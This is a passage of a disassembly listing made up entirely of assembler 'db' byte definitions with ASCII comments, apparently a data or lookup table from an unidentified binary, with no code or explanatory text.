; db 97h ; db 0D1h ; db 0BFh ; db 0C7h ; db 48h ; H db 0D1h ; db 0BFh ; db 0C7h ; db 49h ; I db 0D1h ; db 0C0h ; db 3 ; db 2 ; db 0D1h ; db 0C1h ; db 1Eh ; db 0F5h ; db 0D1h ; db 0C1h ; db 1Eh ; db 0F8h ; db 0D1h ; db 0C1h ; db 4 ; db 7 ; db 0D1h ; db 0C1h ; db 4 ; db 8 ; db 0D1h ; db 0C3h ; db 34h ; 4 db 28h ; ( db 0D1h ; db 0C4h ; db 36h ; 6 db 4 ; db 0D1h ; db 0C5h ; db 40h ; @ db 1 ; db 0D1h ; db 0C6h ; db 57h ; W db 28h ; ( db 0D1h ; db 0C9h ; db 4Ah ; J db 1 ; db 0D1h ; db 0CAh ; db 0C1h ; db 0FCh ; db 0D1h ; db 0CAh ; db 0C1h ; db 0FDh ; db 0D1h ; db 0CAh ; db 0DCh ; db 8 ; db 0D1h ; db 0CAh ; db 0DDh ; db 37h ; 7 db 0D1h ; db 0CAh ; db 0E0h ; db 0FDh ; db 0D1h ; db 0CAh ; db 0E4h ; db 0Ah ; db 0D1h ; db 0CBh ; db 0DBh ; db 2 ; db 0D1h ; db 0D1h ; db 0B4h ; db 0B4h ; db 0D1h ; db 0D1h ; db 0B4h ; db 0B6h ; db 0D1h ; db 0D1h ; db 0B4h ; db 26h ; & db 0D1h ; db 15h ; db 0B6h ; db 4 ; db 0D1h ; db 15h ; db 58h ; X db 0Bh ; db 0D1h ; db 15h ; db 58h ; X db 0Ch ; db 0D1h ; db 0D3h ; db 0C7h ; db 0Ah ; db 0D1h ; db 0D3h ; db 0EDh ; db 14h ; db 0D1h ; db 0D3h ; db 0EFh ; db 5 ; db 0D1h ; db 0D5h ; db 8Ch ; db 11h ; db 0D1h ; db 0D5h ; db 8Fh ; db 0FDh ; db 0D1h ; db 0D5h ; db 0DFh ; db 7Eh ; ~ db 0D1h ; db 0D7h ; db 0AEh ; db 20h ; db 0D1h ; db 0D9h ; db 13h ; db 0E6h ; db 0D1h ; db 0D9h ; db 0E0h ; db 4 ; db 0D1h ; db 0D9h ; db 0E0h ; db 6 ; db 0D1h ; db 0DAh ; db 40h ; @ db 42h ; B db 0D1h ; db 0DBh ; db 0D1h ; db 4Dh ; M db 0D1h ; db 16h ; db 78h ; x db 0Eh ; db 0D1h ; db 16h ; db 0B1h ; db 62h ; b db 0D1h ; db 0DDh ; db 80h ; db 1 ; db 0D1h ; db 0DDh ; db 80h ; db 2 ; db 0D1h ; db 0DDh ; db 0CDh ; db 2 ; db 0D1h ; db 0DDh ; db 0CDh ; db 3 ; db 0D1h ; db 0DFh ; db 55h ; U db 0Ah ; db 0D1h ; db 0DFh ; db 55h ; U db 5 ; db 0D1h ; db 0E0h ; db 14h ; db 18h ; db 0D1h ; db 0E1h ; db 8 ; db 2Ah ; * db 0D1h ; db 0E2h ; db 0AFh ; db 0ECh ; db 0D1h ; db 0E4h ; db 0Fh ; db 4 ; db 0D1h ; db 17h ; db 0B4h ; db 2 ; db 0D1h ; db 17h ; db 0B4h ; db 4 ; db 0D1h ; db 0EBh ; db 1Ah ; db 2 ; db 0D1h ; db 0EBh ; db 36h ; 6 db 4 ; db 0D1h ; db 0ECh ; db 80h ; db 80h ; db 0D1h ; db 0ECh ; db 80h ; db 81h ; db 0D1h ; db 0ECh ; db 1Bh ; db 5 ; db 0D1h ; db 0EEh ; db 0B8h ; db 32h ; 2 db 0D1h ; db 0EEh ; db 0B8h ; db 33h ; 3 db 0D1h ; db 0EEh ; db 9 ; db 32h ; 2 db 0D1h ; db 0EEh ; db 9 ; db 33h ; 3 db 0D1h ; db 0EFh ; db 2Fh ; / db 0C9h ; db 0D1h ; db 0EFh ; db 2Fh ; / db 0FCh ; db 0D1h ; db 0EFh ; db 40h ; @ db 2 ; db 0D1h ; db 0EFh ; db 42h ; B db 1Ah ; db 0D1h ; db 0EFh ; db 60h ; ` db 4 ; db 0D1h ; db 0EFh ; db 60h ; ` db 7 ; db 0D1h ; db 18h ; db 95h ; db 29h ; ) db 0D1h ; db 18h ; db 95h ; db 2Ah ; * db 0D1h ; db 18h ; db 0D1h ; db 6Dh ; m db 0D1h ; db 0F0h ; db 0E0h ; db 1 ; db 0D1h ; db 0F0h ; db 0E0h ; db 28h ; ( db 0D1h ; db 0F0h ; db 0FEh ; db 1 ; db 0D1h ; db 0F1h ; db 7Ch ; | db 22h ; " db 0D1h ; db 0F1h ; db 7Ch ; | db 28h ; ( db 0D1h ; db 0F1h ; db 0Dh ; db 2 ; db 0D1h ; db 0F1h ; db 0Dh ; db 3 ; db 0D1h ; db 0F1h ; db 84h ; db 0FCh ; db 0D1h ; db 0F1h ; db 84h ; db 0FDh ; db 0D1h ; db 0F1h ; db 87h ; db 2 ; db 0D1h ; db 0F1h ; db 8Fh ; db 21h ; ! db 0D1h ; db 0F1h ; db 93h ; db 2 ; db 0D1h ; db 0F1h ; db 93h ; db 3 ; db 0D1h ; db 0F1h ; db 9Bh ; db 2 ; db 0D1h ; db 0F1h ; db 0B8h ; db 4 ; db 0D1h ; db 0F1h ; db 0B8h ; db 5 ; db 0D1h ; db 0F1h ; db 0BBh ; db 2 ; db 0D1h ; db 0F1h ; db 0D5h ; db 7Bh ; { db 0D1h ; db 0F1h ; db 0D5h ; db 7Eh ; ~ db 0D1h ; db 0F1h ; db 0DAh ; db 2 ; db 0D1h ; db 0F1h ; db 0DAh ; db 3 ; db 0D1h ; db 0F1h ; db 0EAh ; db 79h ; y db 0D1h ; db 0F1h ; db 0EAh ; db 59h ; Y db 0D1h ; db 0F1h ; db 0F0h ; db 0Ah ; db 0D1h ; db 0F1h ; db 1Ah ; db 6 ; db 0D1h ; db 0F1h ; db 63h ; c db 2 ; db 0D1h ; db 0F4h ; db 0 ; db 1 ; db 0D1h ; db 0F4h ; db 0 ; db 2 ; db 0D1h ; db 0F4h ; db 0C0h ; db 83h ; db 0D1h ; db 0F4h ; db 0C0h ; db 0C3h ; db 0D1h ; db 0F4h ; db 5 ; db 14h ; db 0D1h ; db 0F4h ; db 5 ; db 15h ; db 0D1h ; db 0F4h ; db 5 ; db 54h ; T db 0D1h ; db 0F4h ; db 5 ; db 55h ; U db 0D1h ; db 0F6h ; db 7Bh ; { db 0AEh ; db 0D1h ; db 0F6h ; db 0Fh ; db 39h ; 9 db 0D1h ; db 0FAh ; db 0 ; db 88h ; db 0D1h ; db 0FAh ; db 40h ; @ db 3 ; db 0D1h ; db 0FBh ; db 6Ch ; l db 6 ; db 0D1h ; db 0FBh ; db 81h ; db 0Ah ; db 0D1h ; db 0FBh ; db 81h ; db 8 ; db 0D1h ; db 0FBh ; db 81h ; db 9 ; db 0D1h ; db 0FBh ; db 0A7h ; db 4 ; db 0D1h ; db 0FBh ; db 0A7h ; db 5 ; db 0D1h ; db 0FBh ; db 2 ; db 66h ; f db 0D1h ; db 0FBh ; db 2 ; db 67h ; g db 0D1h ; db 0FBh ; db 0D0h ; db 13h ; db 0D1h ; db 0FBh ; db 0D0h ; db 14h ; db 0D1h ; db 0FBh ; db 0E0h ; db 1 ; db 0D1h ; db 0FBh ; db 0E0h ; db 6 ; db 0D1h ; db 0FBh ; db 21h ; ! db 2 ; db 0D1h ; db 0FBh ; db 23h ; # db 5 ; db 0D1h ; db 0FBh ; db 40h ; @ db 0FCh ; db 0D1h ; db 0FBh ; db 60h ; ` db 2 ; db 0D1h ; db 0FBh ; db 60h ; ` db 3 ; db 0D1h ; db 1Ah ; db 0B2h ; db 0Ah ; db 0D1h ; db 1Ah ; db 0B2h ; db 9 ; db 0D1h ; db 1Ah ; db 0B5h ; db 0E3h ; db 0D1h ; db 1Bh ; db 34h ; 4 db 33h ; 3 db 0D1h ; db 3 ; db 0DAh ; db 0E9h ; db 0D1h ; db 1Eh ; db 0 ; db 64h ; d db 0D1h ; db 1Eh ; db 0 ; db 9 ; db 0D1h ; db 1Fh ; db 90h ; db 2Bh ; + db 0D1h ; db 22h ; " db 40h ; @ db 0Ah ; db 0D1h ; db 22h ; " db 40h ; @ db 8 ; db 0D1h ; db 25h ; % db 8Ah ; db 0F0h ; db 0D1h ; db 25h ; % db 23h ; # db 1Dh ; db 0D1h ; db 4 ; db 1Dh ; db 82h ; db 0D1h ; db 4 ; db 1Dh ; db 2 ; db 0D1h ; db 28h ; ( db 40h ; @ db 1 ; db 0D1h ; db 28h ; ( db 40h ; @ db 2 ; db 0D1h ; db 29h ; ) db 0AAh ; db 63h ; c db 0D1h ; db 29h ; ) db 0B8h ; db 64h ; d db 0D1h ; db 29h ; ) db 1Fh ; db 0Dh ; db 0D1h ; db 29h ; ) db 40h ; @ db 42h ; B db 0D1h ; db 29h ; ) db 40h ; @ db 43h ; C db 0D1h ; db 29h ; ) db 40h ; @ db 44h ; D db 0D1h ; db 29h ; ) db 40h ; @ db 45h ; E db 0D1h ; db 2Bh ; + db 93h ; db 0Ah ; db 0D1h ; db 2Bh ; + db 93h ; db 30h ; 0 db 0D1h ; db 2Bh ; + db 0B5h ; db 26h ; & db 0D1h ; db 2Dh ; - db 8Ch ; db 47h ; G db 0D1h ; db 2Dh ; - db 0C8h ; db 7 ; db 0D1h ; db 2Dh ; - db 0C8h ; db 9 ; db 0D1h ; db 2Eh ; . db 0C8h ; db 7 ; db 0D1h ; db 2Eh ; . db 0F1h ; db 7 ; db 0D1h ; db 2Eh ; . db 3Fh ; ? db 1 ; db 0D1h ; db 2Eh ; . db 3Fh ; ? db 6 ; db 0D1h ; db 2Fh ; / db 89h ; db 0Ah ; db 0D1h ; db 30h ; 0 db 0D8h ; db 1 ; db 0D1h ; db 31h ; 1 db 5 ; db 0Ah ; db 0D1h ; db 32h ; 2 db 27h ; ' db 66h ; f db 0D1h ; db 32h ; 2 db 28h ; ( db 66h ; f db 0D1h ; db 33h ; 3 db 80h ; db 0Ah ; db 0D1h ; db 33h ; 3 db 80h ; db 0Fh ; db 0D1h ; db 33h ; 3 db 0A0h ; db 2 ; db 0D1h ; db 33h ; 3 db 0A1h ; db 56h ; V db 0D1h ; db 33h ; 3 db 0B4h ; db 66h ; f db 0D1h ; db 33h ; 3 db 0F0h ; db 0F1h ; db 0D1h ; db 33h ; 3 db 0F0h ; db 0F2h ; db 0D1h ; db 33h ; 3 db 30h ; 0 db 2 ; db 0D1h ; db 33h ; 3 db 30h ; 0 db 3 ; db 0D1h ; db 33h ; 3 db 6 ; db 0Ah ; db 0D1h ; db 34h ; 4 db 93h ; db 8Bh ; db 0D1h ; db 34h ; 4 db 0ADh ; db 1 ; db 0D1h ; db 34h ; 4 db 0C8h ; db 2 ; db 0D1h ; db 34h ; 4 db 0C8h ; db 3 ; db 0D1h ; db 35h ; 5 db 0BAh ; db 1 ; db 0D1h ; db 35h ; 5 db 0D7h ; db 2 ; db 0D1h ; db 35h ; 5 db 0D8h ; db 2 ; db 0D1h ; db 36h ; 6 db 2Ah ; * db 2 ; db 0D1h ; db 38h ; 8 db 6Eh ; n db 0Ah ; db 0D1h ; db 38h ; 8 db 6Eh ; n db 2 ; db 0D1h ; db 38h ; 8 db 0CFh ; db 1 ; db 0D1h ; db 39h ; 9 db 0A1h ; db 2 ; db 0D1h ; db 3Eh ; > db 0C0h ; db 2 ; db 0D1h ; db 3Fh ; ? db 0 ; db 2 ; db 0D1h ; db 3Fh ; ? db 5Eh ; ^ db 1 ; db 0D1h ; db 43h ; C db 0A8h ; db 6 ; db 0D1h ; db 43h ; C db 0CFh ; db 6 ; db 0D1h ; db 43h ; C db 15h ; db 0C7h ; db 0D1h ; db 43h ; C db 15h ; db 0D3h ; db 0D1h ; db 43h ; C db 32h ; 2 db 0DCh ; db 0D1h ; db 43h ; C db 32h ; 2 db 0F1h ; db 0D1h ; db 43h ; C db 32h ; 2 db 0FDh ; db 0D1h ; db 43h ; C db 32h ; 2 db 0FEh ; db 0D1h ; db 44h ; D db 1 ; db 0Bh ; db 0D1h ; db 44h ; D db 80h ; db 7 ; db 0D1h ; db 4Ch ; L db 0EBh ; db 2 ; db 0D1h ; db 4Dh ; M db 95h ; db 2 ; db 0D1h ; db 4Eh ; N db 4Dh ; M db 2 ; db 0D1h ; db 4Fh ; O db 0BEh ; db 0Ah ; db 0D1h ; db 4Fh ; O db 0BEh ; db 0Fh ; db 0D1h ; db 8 ; db 43h ; C db 0Ah ; db 0D1h ; db 51h ; Q db 9 ; db 1 ; db 0D1h ; db 51h ; Q db 9 ; db 32h ; 2 db 0D1h ; db 51h ; Q db 60h ; ` db 82h ; db 0D1h ; db 51h ; Q db 60h ; ` db 31h ; 1 db 0D1h ; db 52h ; R db 64h ; d db 0Bh ; db 0D1h ; db 52h ; R db 64h ; d db 0Ch ; db 0D1h ; db 52h ; R db 7Fh ;  db 0Ah ; db 0D1h ; db 53h ; S db 90h ; db 1 ; db 0D1h ; db 53h ; S db 0A2h ; db 23h ; # db 0D1h ; db 54h ; T db 0A0h ; db 6Dh ; m db 0D1h ; db 54h ; T db 0A0h ; db 6Eh ; n db 0D1h ; db 54h ; T db 0A0h ; db 71h ; q db 0D1h ; db 54h ; T db 0B1h ; db 1 ; db 0D1h ; db 54h ; T db 0B6h ; db 65h ; e db 0D1h ; db 54h ; T db 0B6h ; db 67h ; g db 0D1h ; db 54h ; T db 0B6h ; db 6Fh ; o db 0D1h ; db 54h ; T db 0B6h ; db 70h ; p db 0D1h ; db 54h ; T db 0FDh ; db 0Bh ; db 0D1h ; db 54h ; T db 0FDh ; db 0Ch ; db 0D1h ; db 54h ; T db 27h ; ' db 6 ; db 0D1h ; db 54h ; T db 54h ; T db 0Ah ; db 0D1h ; db 54h ; T db 54h ; T db 0Bh ; db 0D1h ; db 54h ; T db 61h ; a db 0FEh ; db 0D1h ; db 55h ; U db 1 ; db 2 ; db 0D1h ; db 57h ; W db 40h ; @ db 46h ; F db 0D1h ; db 57h ; W db 4Fh ; O db 0E8h ; db 0D1h ; db 5Bh ; [ db 80h ; db 0Ah ; db 0D1h ; db 5Bh ; [ db 0C4h ; db 2 ; db 0D1h ; db 5Bh ; [ db 0C4h ; db 6 ; db 0D1h ; db 5Eh ; ^ db 28h ; ( db 0Ah ; db 0D1h ; db 5Eh ; ^ db 28h ; ( db 9 ; db 0D1h ; db 61h ; a db 3Dh ; = db 0Ah ; db 0D1h ; db 62h ; b db 62h ; b db 1 ; db 0D2h ; db 65h ; e db 80h ; db 0Dh ; db 0D2h ; db 65h ; e db 8Fh ; db 3 ; db 0D2h ; db 65h ; e db 91h ; db 2 ; db 0D2h ; db 65h ; e db 0A0h ; db 65h ; e db 0D2h ; db 65h ; e db 0B6h ; db 2 ; db 0D2h ; db 65h ; e db 0C0h ; db 5 ; db 0D2h ; db 65h ; e db 0C1h ; db 3 ; db 0D2h ; db 66h ; f db 0D0h ; db 1 ; db 0D2h ; db 66h ; f db 0D7h ; db 2 ; db 0D2h ; db 73h ; s db 7Dh ; } db 25h ; % db 0D2h ; db 73h ; s db 7Dh ; } db 35h ; 5 db 0D2h ; db 73h ; s db 0C0h ; db 7 ; db 0D2h ; db 74h ; t db 0FEh ; db 1 ; db 0D2h ; db 75h ; u db 41h ; A db 64h ; d db 0D2h ; db 75h ; u db 41h ; A db 2 ; db 0D2h ; db 79h ; y db 0 ; db 3Eh ; > db 0D2h ; db 79h ; y db 6Fh ; o db 65h ; e db 0D2h ; db 7Bh ; { db 20h ; db 0Dh ; db 0D2h ; db 82h ; db 1 ; db 2Dh ; - db 0D2h ; db 82h ; db 1 ; db 2Eh ; . db 0D2h ; db 82h ; db 1 ; db 2Fh ; / db 0D2h ; db 83h ; db 0Ah ; db 0E2h ; db 0D2h ; db 83h ; db 0Ch ; db 1 ; db 0D2h ; db 83h ; db 0Ch ; db 2 ; db 0D2h ; db 83h ; db 0B1h ; db 0FDh ; db 0D2h ; db 83h ; db 0CAh ; db 2 ; db 0D2h ; db 83h ; db 0D0h ; db 2 ; db 0D2h ; db 83h ; db 0D3h ; db 1 ; db 0D2h ; db 83h ; db 0ECh ; db 2 ; db 0D2h ; db 83h ; db 7 ; db 82h ; db 0D2h ; db 83h ; db 8 ; db 3 ; db 0D2h ; db 83h ; db 9 ; db 2 ; db 0D2h ; db 84h ; db 5Bh ; [ db 81h ; db 0D2h ; db 84h ; db 5Bh ; [ db 82h ; db 0D2h ; db 86h ; db 0D5h ; db 3 ; db 0D2h ; db 87h ; db 0B6h ; db 82h ; db 0D2h ; db 87h ; db 0B6h ; db 2 ; db 0D2h ; db 88h ; db 6Bh ; k db 39h ; 9 db 0D2h ; db 8Ah ; db 0F5h ; db 1 ; db 0D2h ; db 8Ah ; db 27h ; ' db 0C3h ; db 0D2h ; db 8Ah ; db 27h ; ' db 0C4h ; db 0D2h ; db 8Dh ; db 0Ah ; db 41h ; A db 0D2h ; db 8Dh ; db 6Ch ; l db 0C2h ; db 0D2h ; db 8Dh ; db 6Ch ; l db 0E2h ; db 0D2h ; db 8Dh ; db 6Ch ; l db 0E7h ; db 0D2h ; db 8Dh ; db 80h ; db 0Ah ; db 0D2h ; db 8Dh ; db 80h ; db 0Dh ; db 0D2h ; db 8Dh ; db 0E0h ; db 2Fh ; / db 0D2h ; db 8Dh ; db 0E0h ; db 30h ; 0 db 0D2h ; db 8Dh ; db 0E5h ; db 2 ; db 0D2h ; db 8Dh ; db 0E8h ; db 1 ; db 0D2h ; db 8Dh ; db 0EAh ; db 1 ; db 0D2h ; db 8Dh ; db 0F4h ; db 1 ; db 0D2h ; db 8Dh ; db 0F4h ; db 7 ; db 0D2h ; db 8Dh ; db 0FBh ; db 0Eh ; db 0D2h ; db 8Dh ; db 0FDh ; db 1Bh ; db 0D2h ; db 8Dh ; db 0FEh ; db 0Ah ; db 0D2h ; db 8Dh ; db 2Ch ; , db 1 ; db 0D2h ; db 8Dh ; db 2Eh ; . db 2 ; db 0D2h ; db 8Dh ; db 43h ; C db 1Fh ; db 0D2h ; db 8Dh ; db 45h ; E db 21h ; ! db 0D2h ; db 8Dh ; db 45h ; E db 29h ; ) db 0D2h ; db 8Dh ; db 4Dh ; M db 16h ; db 0D2h ; db 8Dh ; db 9 ; db 82h ; db 0D2h ; db 8Dh ; db 9 ; db 83h ; db 0D2h ; db 8Fh ; db 40h ; @ db 6 ; db 0D2h ; db 8Fh ; db 41h ; A db 0A1h ; db 0D2h ; db 8Fh ; db 41h ; A db 0A3h ; db 0D2h ; db 91h ; db 9Ch ; db 62h ; b db 0D2h ; db 91h ; db 12h ; db 2 ; db 0D2h ; db 91h ; db 12h ; db 35h ; 5 db 0D2h ; db 91h ; db 0FEh ; db 26h ; & db 0D2h ; db 91h ; db 8 ; db 6Eh ; n db 0D2h ; db 92h ; db 42h ; B db 1 ; db 0D2h ; db 93h ; db 0F0h ; db 0D1h ; db 0D2h ; db 95h ; db 0 ; db 1 ; db 0D2h ; db 95h ; db 8 ; db 42h ; B db 0D2h ; db 96h ; db 3Ch ; < db 21h ; ! db 0D2h ; db 96h ; db 3Ch ; < db 22h ; " db 0D2h ; db 97h ; db 0Ah ; db 0Ah ; db 0D2h ; db 97h ; db 64h ; d db 2 ; db 0D2h ; db 97h ; db 65h ; e db 3 ; db 0D2h ; db 97h ; db 65h ; e db 4 ; db 0D2h ; db 97h ; db 66h ; f db 2 ; db 0D2h ; db 97h ; db 69h ; i db 1 ; db 0D2h ; db 97h ; db 6Ah ; j db 1 ; db 0D2h ; db 97h ; db 6Ah ; j db 48h ; H db 0D2h ; db 97h ; db 6Ch ; l db 34h ; 4 db 0D2h ; db 97h ; db 6Dh ; m db 2 ; db 0D2h ; db 97h ; db 0Bh ; db 79h ; y db 0D2h ; db 97h ; db 72h ; r db 0E4h ; db 0D2h ; db 97h ; db 72h ; r db 0E5h ; db 0D2h ; db 97h ; db 74h ; t db 1 ; db 0D2h ; db 97h ; db 78h ; x db 0D9h ; db 0D2h ; db 97h ; db 7Dh ; } db 1 ; db 0D2h ; db 97h ; db 7Eh ; ~ db 2 ; db 0D2h ; db 97h ; db 80h ; db 41h ; A db 0D2h ; db 97h ; db 80h ; db 42h ; B db 0D2h ; db 97h ; db 0A3h ; db 0E1h ; db 0D2h ; db 97h ; db 0AEh ; db 3 ; db 0D2h ; db 97h ; db 18h ; db 1 ; db 0D2h ; db 97h ; db 18h ; db 10h ; db 0D2h ; db 97h ; db 1Dh ; db 0FDh ; db 0D2h ; db 97h ; db 1Eh ; db 1 ; db 0D2h ; db 97h ; db 20h ; db 2 ; db 0D2h ; db 97h ; db 23h ; # db 2 ; db 0D2h ; db 97h ; db 28h ; ( db 1 ; db 0D2h ; db 97h ; db 2Ah ; * db 1 ; db 0D2h ; db 97h ; db 32h ; 2 db 1 ; db 0D2h ; db 97h ; db 32h ; 2 db 2 ; db 0D2h ; db 97h ; db 33h ; 3 db 2 ; db 0D2h ; db 97h ; db 3Bh ; ; db 0Ah ; db 0D2h ; db 97h ; db 3Bh ; ; db 0Bh ; db 0D2h ; db 97h ; db 40h ; @ db 5 ; db 0D2h ; db 97h ; db 40h ; @ db 6 ; db 0D2h ; db 97h ; db 44h ; D db 0Bh ; db 0D2h ; db 97h ; db 48h ; H db 4 ; db 0D2h ; db 97h ; db 49h ; I db 0Ah ; db 0D2h ; db 97h ; db 4Ch ; L db 1 ; db 0D2h ; db 97h ; db 57h ; W db 0C1h ; db 0D2h ; db 97h ; db 57h ; W db 0C2h ; db 0D2h ; db 97h ; db 58h ; X db 0Bh ; db 0D2h ; db 97h ; db 58h ; X db 0Ch ; db 0D2h ; db 97h ; db 5Fh ; _ db 1 ; db 0D2h ; db 97h ; db 60h ; ` db 22h ; " db 0D2h ; db 9Ah ; db 2Eh ; . db 0C2h ; db 0D2h ; db 9Bh ; db 80h ; db 6 ; db 0D2h ; db 9Bh ; db 94h ; db 6 ; db 0D2h ; db 9Dh ; db 0E0h ; db 7 ; db 0D2h ; db 9Eh ; db 0 ; db 11h ; db 0D2h ; db 9Eh ; db 0C3h ; db 7 ; db 0D2h ; db 9Eh ; db 18h ; db 82h ; db 0D2h ; db 9Eh ; db 18h ; db 83h ; db 0D2h ; db 9Eh ; db 40h ; @ db 2 ; db 0D2h ; db 9Fh ; db 1 ; db 22h ; " db 0D2h ; db 9Fh ; db 1 ; db 32h ; 2 db 0D2h ; db 9Fh ; db 2Eh ; . db 3 ; db 0D2h ; db 9Fh ; db 9 ; db 0E2h ; db 0D2h ; db 0A0h ; db 95h ; db 65h ; e db 0D2h ; db 0A0h ; db 26h ; & db 22h ; " db 0D2h ; db 0A0h ; db 26h ; & db 26h ; & db 0D2h ; db 0A1h ; db 6Ah ; j db 0A2h ; db 0D2h ; db 0A1h ; db 82h ; db 6 ; db 0D2h ; db 0A1h ; db 84h ; db 0Ah ; db 0D2h ; db 0A1h ; db 90h ; db 3 ; db 0D2h ; db 0A1h ; db 94h ; db 3 ; db 0D2h ; db 0A1h ; db 0Fh ; db 81h ; db 0D2h ; db 0A1h ; db 96h ; db 1 ; db 0D2h ; db 0A1h ; db 98h ; db 63h ; c db 0D2h ; db 0A1h ; db 99h ; db 3 ; db 0D2h ; db 0A1h ; db 9Bh ; db 1 ; db 0D2h ; db 0A1h ; db 10h ; db 0Ah ; db 0D2h ; db 0A1h ; db 10h ; db 0Bh ; db 0D2h ; db 0A1h ; db 0A0h ; db 0Ah ; db 0D2h ; db 0A1h ; db 0A0h ; db 0Ch ; db 0D2h ; db 0A1h ; db 0A8h ; db 5 ; db 0D2h ; db 0A1h ; db 0A9h ; db 2 ; db 0D2h ; db 0A1h ; db 0ABh ; db 0Bh ; db 0D2h ; db 0A1h ; db 0ACh ; db 1 ; db 0D2h ; db 0A1h ; db 0AFh ; db 1 ; db 0D2h ; db 0A1h ; db 0B1h ; db 7 ; db 0D2h ; db 0A1h ; db 0B1h ; db 8 ; db 0D2h ; db 0A1h ; db 0B3h ; db 15h ; db 0D2h ; db 0A1h ; db 12h ; db 2 ; db 0D2h ; db 0A1h ; db 13h ; db 2 ; db 0D2h ; db 0A1h ; db 2 ; db 1 ; db 0D2h ; db 0A1h ; db 2 ; db 50h ; P db 0D2h ; db 0A1h ; db 0E5h ; db 52h ; R db 0D2h ; db 0A1h ; db 17h ; db 4 ; db 0D2h ; db 0A1h ; db 17h ; db 5 ; db 0D2h ; db 0A1h ; db 1Bh ; db 1 ; db 0D2h ; db 0A1h ; db 23h ; # db 21h ; ! db 0D2h ; db 0A1h ; db 27h ; ' db 2 ; db 0D2h ; db 0A1h ; db 4 ; db 2 ; db 0D2h ; db 0A1h ; db 28h ; ( db 2 ; db 0D2h ; db 0A1h ; db 2Bh ; + db 0C9h ; db 0D2h ; db 0A1h ; db 2Ch ; , db 15h ; db 0D2h ; db 0A1h ; db 2Dh ; - db 0Ah ; db 0D2h ; db 0A1h ; db 2Eh ; . db 15h ; db 0D2h ; db 0A1h ; db 2Fh ; / db 0Ah ; db 0D2h ; db 0A1h ; db 30h ; 0 db 15h ; db 0D2h ; db 0A1h ; db 33h ; 3 db 14h ; db 0D2h ; db 0A1h ; db 34h ; 4 db 0Ah ; db 0D2h ; db 0A1h ; db 36h ; 6 db 5 ; db 0D2h ; db 0A1h ; db 38h ; 8 db 1 ; db 0D2h ; db 0A1h ; db 38h ; 8 db 2 ; db 0D2h ; db 0A2h ; db 0 ; db 22h ; " db 0D2h ; db 0A2h ; db 0B6h ; db 0Ah ; db 0D2h ; db 0A2h ; db 16h ; db 0C2h ; db 0D2h ; db 0A4h ; db 49h ; I db 82h ; db 0D2h ; db 0A6h ; db 91h ; db 6 ; db 0D2h ; db 0A6h ; db 0B0h ; db 2 ; db 0D2h ; db 0A6h ; db 0E7h ; db 0E1h ; db 0D2h ; db 0A6h ; db 20h ; db 82h ; db 0D2h ; db 0A6h ; db 20h ; db 0C2h ; db 0D2h ; db 0A7h ; db 20h ; db 46h ; F db 0D2h ; db 0A7h ; db 20h ; db 48h ; H db 0D2h ; db 0A8h ; db 0DEh ; db 2 ; db 0D2h ; db 0A9h ; db 0AAh ; db 84h ; db 0D2h ; db 0A9h ; db 35h ; 5 db 82h ; db 0D2h ; db 0A9h ; db 56h ; V db 7Bh ; { db 0D2h ; db 11h ; db 1 ; db 1 ; db 0D2h ; db 0AAh ; db 69h ; i db 2 ; db 0D2h ; db 0ABh ; db 0 ; db 21h ; ! db 0D2h ; db 0ABh ; db 0 ; db 22h ; " db 0D2h ; db 0ABh ; db 64h ; d db 1 ; db 0D2h ; db 0ABh ; db 6Ch ; l db 0F6h ; db 0D2h ; db 0ABh ; db 6Eh ; n db 0Bh ; db 0D2h ; db 0ABh ; db 77h ; w db 2 ; db 0D2h ; db 0ABh ; db 80h ; db 1Dh ; db 0D2h ; db 0ABh ; db 80h ; db 3 ; db 0D2h ; db 0ABh ; db 80h ; db 1Eh ; db 0D2h ; db 0ABh ; db 85h ; db 1 ; db 0D2h ; db 0ABh ; db 10h ; db 5 ; db 0D2h ; db 0ABh ; db 0A0h ; db 3 ; db 0D2h ; db 0ABh ; db 0C0h ; db 2 ; db 0D2h ; db 0ABh ; db 0C2h ; db 2 ; db 0D2h ; db 0ABh ; db 0C9h ; db 2 ; db 0D2h ; db 0ABh ; db 0E1h ; db 66h ; f db 0D2h ; db 0ABh ; db 0E1h ; db 46h ; F db 0D2h ; db 0ABh ; db 17h ; db 3 ; db 0D2h ; db 0ABh ; db 42h ; B db 2 ; db 0D2h ; db 0ACh ; db 40h ; @ db 70h ; p db 0D2h ; db 0ADh ; db 47h ; G db 2 ; db 0D2h ; db 0AEh ; db 0BFh ; db 1 ; db 0D2h ; db 0AFh ; db 0C0h ; db 3 ; db 0D2h ; db 0AFh ; db 32h ; 2 db 0A2h ; db 0D2h ; db 0AFh ; db 32h ; 2 db 0A3h ; db 0D2h ; db 0B4h ; db 62h ; b db 45h ; E db 0D2h ; db 0BCh ; db 0AFh ; db 4 ; db 0D2h ; db 0BDh ; db 10h ; db 1 ; db 0D2h ; db 0BDh ; db 0D3h ; db 15h ; db 0D2h ; db 0BDh ; db 0D3h ; db 3 ; db 0D2h ; db 0BFh ; db 0 ; db 6 ; db 0D2h ; db 0BFh ; db 64h ; d db 97h ; db 0D2h ; db 0BFh ; db 64h ; d db 98h ; db 0D2h ; db 0BFh ; db 6Ch ; l db 2 ; db 0D2h ; db 0BFh ; db 6Eh ; n db 1 ; db 0D2h ; db 0BFh ; db 78h ; x db 0FCh ; db 0D2h ; db 0BFh ; db 0Eh ; db 65h ; e db 0D2h ; db 0BFh ; db 0Eh ; db 2 ; db 0D2h ; db 0BFh ; db 12h ; db 1 ; db 0D2h ; db 0BFh ; db 13h ; db 1 ; db 0D2h ; db 0BFh ; db 0C2h ; db 2 ; db 0D2h ; db 0BFh ; db 0C5h ; db 82h ; db 0D2h ; db 0BFh ; db 0C5h ; db 2 ; db 0D2h ; db 0BFh ; db 14h ; db 1 ; db 0D2h ; db 0BFh ; db 0CDh ; db 0Ah ; db 0D2h ; db 0BFh ; db 16h ; db 2 ; db 0D2h ; db 0BFh ; db 17h ; db 0Ah ; db 0D2h ; db 0BFh ; db 18h ; db 2 ; db 0D2h ; db 0BFh ; db 1Ch ; db 1 ; db 0D2h ; db 0BFh ; db 1Ch ; db 3 ; db 0D2h ; db 0BFh ; db 7 ; db 0C9h ; db 0D2h ; db 0BFh ; db 47h ; G db 1 ; db 0D2h ; db 0BFh ; db 47h ; G db 2 ; db 0D2h ; db 0BFh ; db 48h ; H db 2 ; db 0D2h ; db 0BFh ; db 49h ; I db 1 ; db 0D2h ; db 0BFh ; db 4Bh ; K db 2Ah ; * db 0D2h ; db 0BFh ; db 4Dh ; M db 2 ; db 0D2h ; db 0BFh ; db 4Eh ; N db 3 ; db 0D2h ; db 0BFh ; db 8 ; db 82h ; db 0D2h ; db 0BFh ; 